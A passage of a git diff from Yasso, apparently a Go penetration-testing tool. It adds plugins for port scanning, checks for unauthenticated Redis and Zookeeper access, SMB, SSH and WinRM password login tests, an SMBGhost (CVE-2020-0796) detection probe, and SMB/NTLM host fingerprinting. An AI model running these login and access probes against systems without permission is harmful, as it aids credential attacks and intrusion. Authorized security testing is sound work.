p) + } + } + }() + } + for _, p := range s.ports { + s.scanChannel <- p + } + close(s.scanChannel) + wg.Wait() + return re +} + +func tcpConn(ip string, port int) bool { + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, port), 100*time.Millisecond) + if err != nil { + return false + } + conn.Close() + return true +} + +//TODO: 暂定,目前还没有syn扫描方式 +func synConn(ip string, port int) bool { + return true +} diff --git a/core/plugin/redis.go b/core/plugin/redis.go new file mode 100644 index 0000000..df57bf8 --- /dev/null +++ b/core/plugin/redis.go @@ -0,0 +1,105 @@ +package plugin + +import ( + "Yasso/config" + "Yasso/core/logger" + "fmt" + "net" + "strings" + "time" +) + +func RedisAuthConn(info config.ServiceConn, user, pass string) (net.Conn, bool, error) { + var flag = false + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) + if err != nil { + return conn, false, err + } + err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout))) + if err != nil { + return conn, false, err + } + // 认证 + _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))) + if err != nil { + return conn, false, err + } + reply, err := RedisReply(conn) + if err != nil { + return conn, false, err + } + if strings.Contains(reply, "+OK") { + flag = true + dbfilename := redisInfo(conn, reply) + logger.Info(fmt.Sprintf("Redis %s:%v Login Success dbfilename:[%v]", info.Hostname, info.Port, dbfilename)) + } + return conn, flag, nil +} + +func RedisUnAuthConn(info config.ServiceConn, user, pass string) (net.Conn, bool, error) { + _, _ = user, pass + var flag = false + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) + if err != nil { + return conn, false, err + } + err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout))) + if err != nil { + return conn, false, err + } + _, err = conn.Write([]byte("info\r\n")) + if err != nil { + return conn, false, err + } + reply, err := RedisReply(conn) + if err != nil { + return conn, false, err + } + if strings.Contains(reply, "redis_version") { + flag = true + dbfilename := redisInfo(conn, reply) + logger.Success(fmt.Sprintf("Redis %s:%v unauthorized dbfilename:[%v] ", info.Hostname, info.Port, dbfilename)) + } + return conn, flag, nil +} + +func RedisReply(conn net.Conn) (string, error) { + var ( + r string + err error + ) + buf := make([]byte, 5*1024) + for { + count, err := conn.Read(buf) + if err != nil { + break + } + r += string(buf[0:count]) + if count < 5*1024 { + break + } + } + return r, err +} + +func redisInfo(conn net.Conn, reply string) string { + var ( + dbfilename string + ) + // 读取filename + _, err := conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n"))) + if err != nil { + return "" + } + text, err := RedisReply(conn) + if err != nil { + return "" + } + text1 := strings.Split(text, "\r\n") + if len(text1) > 2 { + dbfilename = text1[len(text1)-2] + } else { + dbfilename = text1[0] + } + return dbfilename +} diff --git a/core/plugin/rmi.go b/core/plugin/rmi.go new file mode 100644 index 0000000..0a41dcd --- /dev/null +++ b/core/plugin/rmi.go @@ -0,0 +1,58 @@ +package plugin + +import ( + "Yasso/config" + "Yasso/core/logger" + "bytes" + "encoding/hex" + "fmt" + "net" + "strings" +) + +// RMIConn 识别rmi服务方式 +func RMIConn(info config.ServiceConn, user, pass string) bool { + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout) + if err != nil { + return false + } + msg := "\x4a\x52\x4d\x49\x00\x02\x4b" + _, err = conn.Write([]byte(msg)) + if err != nil { + return false + } + reply := make([]byte, 256) + _, _ = conn.Read(reply) + if conn != nil { + _ = conn.Close() + } + var buffer [256]byte + if bytes.Equal(reply[:], buffer[:]) { + return false + } else if hex.EncodeToString(reply[0:1]) != "4e" { + return false + } + // 这里解析出字符串 + banner := byteToString(reply) + logger.Success(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)) + return true +} + +func byteToString(p []byte) string { + var w []string + var res string + for i := 0; i < len(p); i++ { + if p[i] > 32 && p[i] < 127 { + w = append(w, string(p[i])) + continue + } + asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1])) + w = append(w, asciiTo16) + } + res = strings.Join(w, "") + if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") { + s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") + return s[0] + } + return res +} diff --git a/core/plugin/smb.go b/core/plugin/smb.go new file mode 100644 index 0000000..de7012d --- /dev/null +++ b/core/plugin/smb.go @@ -0,0 +1,46 @@ +package plugin + +import ( + "Yasso/config" + "errors" + "github.com/stacktitan/smb/smb" + "time" +) + +func SmbConn(info config.ServiceConn, user, pass string) (bool, error) { + signal := make(chan struct{}) + var ( + flag bool + err error + ) + go func() { + flag, err = dialSmbTimeOut(info, user, pass, signal) + }() + select { + case <-signal: + return flag, err + case <-time.After(1 * time.Second): + return false, errors.New("smb conn time out") + } +} + +func dialSmbTimeOut(info config.ServiceConn, user, pass string, signal chan struct{}) (bool, error) { + var flag = false + options := smb.Options{ + Host: info.Hostname, + Port: 445, + User: user, + Password: pass, + Domain: info.Domain, + Workstation: "", + } + session, err := smb.NewSession(options, false) + if err == nil { + session.Close() + if session.IsAuthenticated { + flag = true + } + } + signal <- struct{}{} + return flag, err +} diff --git a/cmd/smbghost.go b/core/plugin/smbghost.go similarity index 90% rename from cmd/smbghost.go rename to core/plugin/smbghost.go index 5269f90..e819c3f 100644 --- a/cmd/smbghost.go +++ b/core/plugin/smbghost.go @@ -1,9 +1,11 @@ -package cmd +package plugin import ( "Yasso/config" + "Yasso/core/logger" "bytes" "fmt" + "net" "time" ) @@ -93,8 +95,8 @@ const ( "\x00\x00\x00\x00" ) -func SmbGhostConn(info config.HostIn) bool { - conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut) +func SmbGhostConn(info config.ServiceConn) bool { + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) if err != nil { return false } else { @@ -108,7 +110,7 @@ func SmbGhostConn(info config.HostIn) bool { } if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true { - Println(fmt.Sprintf("[+] %s Find CVE-2020-0796", info.Host)) + logger.Success(fmt.Sprintf("%s Find CVE-2020-0796", info.Hostname)) return true } else { //Println(ip + " Not Vulnerable") diff --git a/core/plugin/smbscan.go b/core/plugin/smbscan.go new file mode 100644 index 0000000..1975c87 --- /dev/null +++ b/core/plugin/smbscan.go @@ -0,0 +1,596 @@ +package plugin + +import ( + "Yasso/core/logger" + "bytes" + crand "crypto/rand" + "encoding/binary" + "encoding/hex" + "fmt" + "io" + "net" + "strings" + "time" +) + +func SmbScanConn(host string, port int, timeout time.Duration) (bool, string) { + res, _, err := smb2(host, port, timeout) + if err != nil || res["ntlmssp.Version"] == "" { + return false, "" + } else { + banner := fmt.Sprintf("[%s]\n[%s (version) || %s (FQDN Name) ||%s (Domain Name) ||%s (Netbios Name)]", + fmt.Sprintf("%s:%v", host, port), + res["ntlmssp.Version"], + res["ntlmssp.DNSComputer"], + res["ntlmssp.TargetName"], + res["ntlmssp.NetbiosComputer"], + ) + logger.Success(banner) + return true, banner + } +} + +// -------------smb-------------------------------- +// smb2 from https://github.com/RumbleDiscovery/rumble-tools/blob/main/cmd/rumble-smb2-sessions/main.go +func smb2(host string, port int, timeout time.Duration) (map[string]string, []byte, error) { + // SMB1NegotiateProtocolRequest is a SMB1 request that advertises support for SMB2 + var smb1NegotiateProtocolRequest = []byte{ + 0x00, 0x00, 0x00, 0xd4, 0xff, 0x53, 0x4d, 0x42, + 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x43, 0xc8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x02, + 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, + 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, + 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, + 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46, + 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, + 0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00, + 0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, + 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, + 0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, + 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, + 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, + 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x44, + 0x4f, 0x53, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, + 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4c, 0x41, + 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, + 0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02, + 0x4e, 0x54, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, + 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, + 0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, + 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, + 0x2e, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x4d, + 0x42, 0x20, 0x32, 0x2e, 0x3f, 0x3f, 0x3f, 0x00, + } + + info := make(map[string]string) + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout) + if err != nil { + return info, []byte{}, err + } + err = SMBSendData(conn, smb1NegotiateProtocolRequest, timeout) + if err != nil { + return info, []byte{}, err + } + + data, err := SMBReadFrame(conn, timeout) + if err != nil { + return info, []byte{}, err + } + + err = SMBSendData(conn, SMB2NegotiateProtocolRequest(host), timeout) + if err != nil { + return info, []byte{}, err + } + + data, _ = SMBReadFrame(conn, timeout) + SMB2ExtractFieldsFromNegotiateReply(data, info) + + // SMB2SessionSetupNTLMSSP is a SMB2 SessionSetup NTLMSSP request + var smb2SessionSetupNTLMSSP = []byte{ + 0x00, 0x00, 0x00, 0xa2, 0xfe, 0x53, 0x4d, 0x42, + 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x01, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x00, 0x4a, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x48, 0x06, 0x06, + 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02, 0xa0, 0x3e, + 0x30, 0x3c, 0xa0, 0x0e, 0x30, 0x0c, 0x06, 0x0a, + 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, + 0x02, 0x0a, 0xa2, 0x2a, 0x04, 0x28, 0x4e, 0x54, + 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x97, 0x82, 0x08, 0xe2, 0x00, 0x00, + 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x0a, 0x00, + 0xba, 0x47, 0x00, 0x00, 0x00, 0x0f, + } + + setup := make([]byte, len(smb2SessionSetupNTLMSSP)) + copy(setup, smb2SessionSetupNTLMSSP) + + // Set the ProcessID + binary.LittleEndian.PutUint16(setup[4+32:], 0xfeff) + + err = SMBSendData(conn, setup, timeout) + if err != nil { + return info, []byte{}, err + } + + data, err = SMBReadFrame(conn, timeout) + SMB2ExtractSIDFromSessionSetupReply(data, info) + SMBExtractFieldsFromSecurityBlob(data, info) + + return info, data, err +} + +// RandomBytes generates a random byte sequence of the requested length +func RandomBytes(numBytes int) []byte { + randBytes := make([]byte, numBytes) + err := binary.Read(crand.Reader, binary.BigEndian, &randBytes) + if err != nil { + return nil + } + return randBytes +} + +// SMBReadFrame reads the netBios header then the full response +func SMBReadFrame(conn net.Conn, t time.Duration) ([]byte, error) { + timeout := time.Now().Add(time.Duration(t) * time.Second) + res := []byte{} + nbh := make([]byte, 4) + + err := conn.SetReadDeadline(timeout) + if err != nil { + return res, err + } + + // Read the NetBIOS header + n, err := conn.Read(nbh[:]) + if err != nil { + // Return if EOF is reached + if err == io.EOF { + return res, nil + } + + // Return if timeout is reached + if err, ok := err.(net.Error); ok && err.Timeout() { + return res, nil + } + + // If we have data and received an error, it was probably a reset + if len(res) > 0 { + return res, nil + } + + return res, err + } + + if n != 4 { + return res, nil + } + + res = append(res[:], nbh[:n]...) + dlen := binary.BigEndian.Uint32(nbh[:]) & 0x00ffffff + buf := make([]byte, dlen) + n, err = conn.Read(buf[:]) + if err != nil { + // Return if EOF is reached + if err == io.EOF { + return res, nil + } + + // Return if timeout is reached + if err, ok := err.(net.Error); ok && err.Timeout() { + return res, nil + } + + // If we have data and received an error, it was probably a reset + if len(res) > 0 { + return res, nil + } + + return res, err + } + res = append(res[:], buf[:n]...) + return res, nil +} + +// SMB2ExtractFieldsFromNegotiateReply extracts useful fields from the SMB2 negotiate response +func SMB2ExtractFieldsFromNegotiateReply(blob []byte, info map[string]string) { + + smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'}) + if smbOffset < 0 { + return + } + + data := blob[smbOffset:] + + // Basic sanity check + if len(data) < (64 + 8 + 16 + 36) { + return + } + + switch binary.LittleEndian.Uint16(data[64+2:]) { + case 0: + info["smb.Signing"] = "disabled" + case 1: + info["smb.Signing"] = "enabled" + case 2, 3: + info["smb.Signing"] = "required" + } + + info["smb.Dialect"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint16(data[64+4:])) + //info["smb.GUID"] = uuid.FromBytesOrNil(data[64+8 : 64+8+16]).String() + info["smb.Capabilities"] = fmt.Sprintf("0x%.8x", binary.LittleEndian.Uint32(data[64+8+16:])) + + negCtxCount := int(binary.LittleEndian.Uint16(data[64+6:])) + negCtxOffset := int(binary.LittleEndian.Uint32(data[64+8+16+36:])) + if negCtxCount == 0 || negCtxOffset == 0 || negCtxOffset+(negCtxCount*8) > len(data) { + return + } + + negCtxData := data[negCtxOffset:] + idx := 0 + for { + if idx+8 > len(negCtxData) { + break + } + negType := int(binary.LittleEndian.Uint16(negCtxData[idx:])) + negLen := int(binary.LittleEndian.Uint16(negCtxData[idx+2:])) + idx += 8 + + if idx+negLen > len(negCtxData) { + break + } + negData := negCtxData[idx : idx+negLen] + + SMB2ParseNegotiateContext(negType, negData, info) + + // Move the index to the next context + idx += negLen + // Negotiate Contexts are aligned on 64-bit boundaries + for idx%8 != 0 { + idx++ + } + } +} + +// SMB2ParseNegotiateContext decodes fields from the SMB2 Negotiate Context values +func SMB2ParseNegotiateContext(t int, data []byte, info map[string]string) { + switch t { + case 1: + // SMB2_PREAUTH_INTEGRITY_CAPABILITIES + if len(data) < 6 { + return + } + hashCount := int(binary.LittleEndian.Uint16(data[:])) + // MUST only be one in responses + if hashCount != 1 { + return + } + hashSaltLen := int(binary.LittleEndian.Uint16(data[2:])) + hashType := int(binary.LittleEndian.Uint16(data[4:])) + hashName := "sha512" + if hashType != 1 { + hashName = fmt.Sprintf("unknown-%d", hashType) + } + info["smb.HashAlg"] = hashName + info["smb.HashSaltLen"] = fmt.Sprintf("%d", hashSaltLen) + + case 2: + // SMB2_ENCRYPTION_CAPABILITIES + if len(data) < 4 { + return + } + cipherCount := int(binary.LittleEndian.Uint16(data[:])) + if len(data) < 2+(2*cipherCount) { + return + } + // MUST only be one in responses + if cipherCount != 1 { + return + } + cipherList := []string{} + for i := 0; i < cipherCount; i++ { + cipherID := int(binary.LittleEndian.Uint16(data[2+(i*2):])) + cipherName := "" + switch cipherID { + case 1: + cipherName = "aes-128-ccm" + case 2: + cipherName = "aes-128-gcm" + default: + cipherName = fmt.Sprintf("unknown-%d", cipherID) + } + cipherList = append(cipherList, cipherName) + } + + info["smb.CipherAlg"] = strings.Join(cipherList, "\t") + + case 3: + // SMB2_COMPRESSION_CAPABILITIES + if len(data) < 10 { + return + } + compCount := int(binary.LittleEndian.Uint16(data[:])) + if len(data) < 2+2+4+(2*compCount) { + return + } + // MUST only be one in responses + if compCount != 1 { + return + } + compList := []string{} + for i := 0; i < compCount; i++ { + compID := int(binary.LittleEndian.Uint16(data[8+(i*2):])) + compName := "" + switch compID { + case 0: + compName = "none" + case 1: + compName = "lznt1" + case 2: + compName = "lz77" + case 3: + compName = "lz77+huff" + case 4: + compName = "patternv1" + default: + compName = fmt.Sprintf("unknown-%d", compID) + } + compList = append(compList, compName) + } + info["smb.CompressionFlags"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint32(data[4:])) + info["smb.CompressionAlg"] = strings.Join(compList, "\t") + } +} + +// SMBSendData writes a SMB request to a socket +func SMBSendData(conn net.Conn, data []byte, timeout time.Duration) error { + err := conn.SetWriteDeadline(time.Now().Add(time.Duration(timeout) * time.Second)) + if err != nil { + return err + } + + n, err := conn.Write(data) + if err != nil { + return err + } + _ = n + + return nil +} + +// SMB2ExtractSIDFromSessionSetupReply tries to extract the SessionID and Signature from a SMB2 reply +func SMB2ExtractSIDFromSessionSetupReply(blob []byte, info map[string]string) { + smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'}) + if smbOffset < 0 { + return + } + + smbData := blob[smbOffset:] + if len(smbData) < 48 { + return + } + + status := binary.LittleEndian.Uint32(smbData[8:]) + info["smb.Status"] = fmt.Sprintf("0x%.8x", status) + + sessID := binary.LittleEndian.Uint64(smbData[40:]) + info["smb.SessionID"] = fmt.Sprintf("0x%.16x", sessID) + + if len(smbData) >= 64 { + sigData := hex.EncodeToString(smbData[48:64]) + if sigData != "00000000000000000000000000000000" { + info["smb.Signature"] = sigData + } + } +} + +// SMBExtractValueFromOffset peels a field out of a SMB buffer +func SMBExtractValueFromOffset(blob []byte, idx int) ([]byte, int, error) { + res := []byte{} + + if len(blob) < (idx + 6) { + return res, idx, fmt.Errorf("data truncated") + } + + len1 := binary.LittleEndian.Uint16(blob[idx:]) + idx += 2 + + // len2 := binary.LittleEndian.Uint16(blob[idx:]) + idx += 2 + + off := binary.LittleEndian.Uint32(blob[idx:]) + idx += 4 + + // Allow zero length values + if len1 == 0 { + return res, idx, nil + } + + if len(blob) < int(off+uint32(len1)) { + return res, idx, fmt.Errorf("data value truncated") + } + + res = append(res, blob[off:off+uint32(len1)]...) + return res, idx, nil +} + +// SMBExtractFieldsFromSecurityBlob extracts fields from the NTLMSSP response +func SMBExtractFieldsFromSecurityBlob(blob []byte, info map[string]string) { + var err error + + ntlmsspOffset := bytes.Index(blob, []byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00, 0x02, 0x00, 0x00, 0x00}) + if ntlmsspOffset < 0 { + return + } + + data := blob[ntlmsspOffset:] + + // Basic sanity check + if len(data) < (12 + 6 + 12 + 8 + 6 + 8) { + return + } + + idx := 12 + + targetName, idx, err := SMBExtractValueFromOffset(data, idx) + if err != nil { + return + } + + // Negotiate Flags + negotiateFlags := binary.LittleEndian.Uint32(data[idx:]) + info["ntlmssp.NegotiationFlags"] = fmt.Sprintf("0x%.8x", negotiateFlags) + idx += 4 + + // NTLM Server Challenge + idx += 8 + + // Reserved + idx += 8 + + // Target Info + targetInfo, idx, err := SMBExtractValueFromOffset(data, idx) + if err != nil { + return + } + + // Version + versionMajor := uint8(data[idx]) + idx++ + + versionMinor := uint8(data[idx]) + idx++ + + versionBuild := binary.LittleEndian.Uint16(data[idx:]) + idx += 2 + + ntlmRevision := binary.BigEndian.Uint32(data[idx:]) + + // macOS reverses the endian order of this field for some reason + if ntlmRevision == 251658240 { + ntlmRevision = binary.LittleEndian.Uint32(data[idx:]) + } + + info["ntlmssp.Version"] = fmt.Sprintf("%d.%d.%d", versionMajor, versionMinor, versionBuild) + info["ntlmssp.NTLMRevision"] = fmt.Sprintf("%d", ntlmRevision) + info["ntlmssp.TargetName"] = TrimName(string(targetName)) + + idx = 0 + for { + if idx+4 > len(targetInfo) { + break + } + + attrType := binary.LittleEndian.Uint16(targetInfo[idx:]) + idx += 2 + + // End of List + if attrType == 0 { + break + } + + attrLen := binary.LittleEndian.Uint16(targetInfo[idx:]) + idx += 2 + + if idx+int(attrLen) > len(targetInfo) { + // log.Printf("too short: %d/%d", idx+int(attrLen), len(targetInfo)) + break + } + + attrVal := targetInfo[idx : idx+int(attrLen)] + idx += int(attrLen) + + switch attrType { + case 1: + info["ntlmssp.NetbiosComputer"] = TrimName(string(attrVal)) + case 2: + info["ntlmssp.NetbiosDomain"] = TrimName(string(attrVal)) + case 3: + info["ntlmssp.DNSComputer"] = TrimName(string(attrVal)) + case 4: + info["ntlmssp.DNSDomain"] = TrimName(string(attrVal)) + case 7: + ts := binary.LittleEndian.Uint64(attrVal[:]) + info["ntlmssp.Timestamp"] = fmt.Sprintf("0x%.16x", ts) + + } + + // End of List + if attrType == 0 { + break + } + } +} + +// TrimName removes null bytes and trims leading and trailing spaces from a string +func TrimName(name string) string { + return strings.TrimSpace(strings.Replace(name, "\x00", "", -1)) +} + +// SMB2NegotiateProtocolRequest generates a new Negotiate request with the specified target name +func SMB2NegotiateProtocolRequest(dst string) []byte { + + base := []byte{ + 0xfe, 0x53, 0x4d, 0x42, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x05, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00, + } + + // Client GUID (16) + base = append(base[:], RandomBytes(16)...) + + base = append(base[:], []byte{ + 0x70, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0x02, 0x02, 0x10, 0x02, 0x00, 0x03, 0x02, 0x03, + 0x11, 0x03, 0x00, 0x00, 0x01, 0x00, 0x26, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, + 0x01, 0x00, + }...) + + // SHA-512 Salt (32) + base = append(base[:], RandomBytes(32)...) + + base = append(base[:], []byte{ + 0x00, 0x00, 0x02, 0x00, 0x06, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0e, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, + 0x01, 0x00, 0x00, 0x00, + }...) + + encodedDst := make([]byte, len(dst)*2) + for i, b := range []byte(dst) { + encodedDst[i*2] = b + } + + netname := []byte{0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} + binary.LittleEndian.PutUint16(netname[2:], uint16(len(encodedDst))) + netname = append(netname, encodedDst...) + + base = append(base, netname...) + + nbhd := make([]byte, 4) + binary.BigEndian.PutUint32(nbhd, uint32(len(base))) + nbhd = append(nbhd, base...) + return nbhd +} + +//------------------------------------------------- diff --git a/core/plugin/ssh.go b/core/plugin/ssh.go new file mode 100644 index 0000000..d4e1b68 --- /dev/null +++ b/core/plugin/ssh.go @@ -0,0 +1,126 @@ +package plugin + +import ( + "Yasso/config" + "Yasso/core/logger" + "Yasso/core/utils" + "bytes" + "fmt" + "golang.org/x/crypto/ssh" + "io/ioutil" + "net" + "os" + "path" + "regexp" + "strings" + "time" +) + +func SshConnByUser(info config.ServiceConn, user, pass string) (*ssh.Client, bool, error) { + sshConfig := &ssh.ClientConfig{User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), Timeout: info.Timeout} + con, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout) + if err != nil { + return nil, false, err + } + c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Hostname, info.Port), sshConfig) + if err != nil { + return nil, false, err + } + return ssh.NewClient(c, ch, re), true, err +} + +func SshConnByKey(info config.ServiceConn, user string) (*ssh.Client, bool, error) { + var ( + err error + HomePath string + key []byte + ) + switch { + case info.PublicKey == "": + HomePath, err = os.UserHomeDir() + if err != nil { + return nil, false, err + } + key, err = ioutil.ReadFile(path.Join(HomePath, ".ssh", "id_rsa")) + if err != nil { + return nil, false, err + } + case info.PublicKey != "": + key, err = ioutil.ReadFile(info.PublicKey) + if err != nil { + return nil, false, err + } + } + signer, err := ssh.ParsePrivateKey(key) + if err != nil { + return nil, false, err + } + sshConfig := &ssh.ClientConfig{ + User: user, + Auth: []ssh.AuthMethod{ + ssh.PublicKeys(signer), + }, + Timeout: info.Timeout, + HostKeyCallback: ssh.InsecureIgnoreHostKey(), + } + con, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout) + if err != nil { + return nil, false, err + } + + c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Hostname, info.Port), sshConfig) + if err != nil { + return nil, false, err + } + return ssh.NewClient(c, ch, re), true, err +} + +func VersionSSH(info config.ServiceConn) string { + buff, err := sshConn(info) + if err != nil { + logger.Fatal(fmt.Sprintf("%s ssh conn has an error", info.Hostname)) + return "" + } + ok, _ := regexp.Match(`^SSH.\d`, buff) + str := utils.ByteToStringParse(buff) + if ok { + logger.Info(fmt.Sprintf("%s:%v [%v]", info.Hostname, info.Port, strings.Split(str, "\\x0d\\x0a")[0])) + return fmt.Sprintf("%s:%v [%v]", info.Hostname, info.Port, strings.Split(str, "\\x0d\\x0a")[0]) + } + return "" +} + +// sshConn 连接到tcp +func sshConn(info config.ServiceConn) ([]byte, error) { + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout)) + if err != nil { + return nil, err + } + _ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second)) + reply := make([]byte, 256) + _, err = conn.Read(reply) + + var buffer [256]byte + if err == nil && bytes.Equal(reply[:], buffer[:]) == false { + if conn != nil { + _ = conn.Close() + } + return reply, nil + } + conn, err = net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout)) + if err != nil { + return nil, err + } + msg := "GET /test HTTP/1.1\r\n\r\n" + _, err = conn.Write([]byte(msg)) + if err != nil { + return nil, err + } + _ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second)) + reply = make([]byte, 256) + _, _ = conn.Read(reply) + if conn != nil { + _ = conn.Close() + } + return reply, nil +} diff --git a/core/plugin/winrm.go b/core/plugin/winrm.go new file mode 100644 index 0000000..b2646f1 --- /dev/null +++ b/core/plugin/winrm.go @@ -0,0 +1,30 @@ +package plugin + +import ( + "Yasso/config" + "fmt" + "github.com/masterzen/winrm" + "net" + "os" +) + +func WinRMAuth(info config.ServiceConn, user, pass string) (*winrm.Client, bool, error) { + var err error + params := winrm.DefaultParameters + // 设置代理认证 + params.Dial = func(network, addr string) (net.Conn, error) { + return net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) + } + // 设置输入 + endpoint := winrm.NewEndpoint("other-host", 5985, false, false, nil, nil, nil, 0) + client, err := winrm.NewClientWithParameters(endpoint, user, pass, params) + stdout := os.Stdout + res, err := client.Run("echo ISOK > nul", stdout, os.Stderr) + if err != nil { + return nil, false, err + } + if res == 0 && err == nil { + return client, true, nil + } + return nil, false, err +} diff --git a/cmd/zookeeper.go b/core/plugin/zookeeper.go similarity index 52% rename from cmd/zookeeper.go rename to core/plugin/zookeeper.go index f21c887..d721927 100644 --- a/cmd/zookeeper.go +++ b/core/plugin/zookeeper.go @@ -1,14 +1,16 @@ -package cmd +package plugin import ( "Yasso/config" + "Yasso/core/logger" "bytes" "fmt" + "net" ) -func ZookeeperConn(info config.HostIn) (bool, error) { +func ZookeeperConn(info config.ServiceConn, user, pass string) (bool, error) { payload := []byte("envidddfdsfsafafaerwrwerqwe") - conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut) + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) if err != nil { return false, err } @@ -18,7 +20,7 @@ func 